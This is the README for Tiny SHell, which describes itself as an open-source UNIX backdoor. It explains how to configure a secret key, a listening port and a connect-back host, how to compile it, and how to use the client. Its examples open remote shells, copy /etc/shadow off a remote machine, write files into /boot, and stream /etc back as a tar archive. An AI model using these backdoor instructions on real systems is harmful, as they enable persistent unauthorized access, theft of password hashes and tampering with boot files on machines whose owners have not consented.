Tiny SHell - An open-source UNIX backdoor


* Before compiling Tiny SHell

    1. First of all, you should setup your secret key, which
       is located in tsh.h; the key can be of any length (use
       at least 12 characters for better security).

    2. It is advised to change SERVER_PORT, the port on which
       the server will be listening for incoming connections.

    3. You may want to start tshd in "connect-back" mode if
       it runs on on a firewalled box; simply uncomment and
       modify CONNECT_BACK_HOST in tsh.h.

* Compiling Tiny SHell

    Run "make <system>", where <system> can be any one of these:
    linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf

* How to use the server

    It can be useful to set $HOME and the file creation mask
    before starting the server:

        % umask 077; HOME=/var/tmp ./tshd

* How to use the client

    Make sure tshd is running on the remote host. You can:

    - start a shell:

        ./tsh <hostname>

    - execute a command:

        ./tsh <hostname> "uname -a"

    - transfer files:

        ./tsh <hostname> get /etc/shadow .
        ./tsh <hostname> put vmlinuz /boot

    Note: if the server runs in connect-back mode, replace
    the remote machine hostname with "cb".

* About multiple file transfers

    At the moment, Tiny SHell does not support scp-like multiple
    and/or recursive file transfers. You can work around this bug
    by simply making a tar archive and transferring it. Example:

    ./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf -

* About terminal modes

    On some brain-dead systems (actually, IRIX and HP-UX), Ctrl-C
    and other control keys do not work correctly. Fix it with:

        % stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U"

* About security

    Please remember that the secret key is stored in clear inside
    both tsh and tshd executables; therefore you should make sure
    that no one except you has read access to these two files.
    However, you may choose not to store the real (valid) key in
    the client, which will then ask for a password when it starts.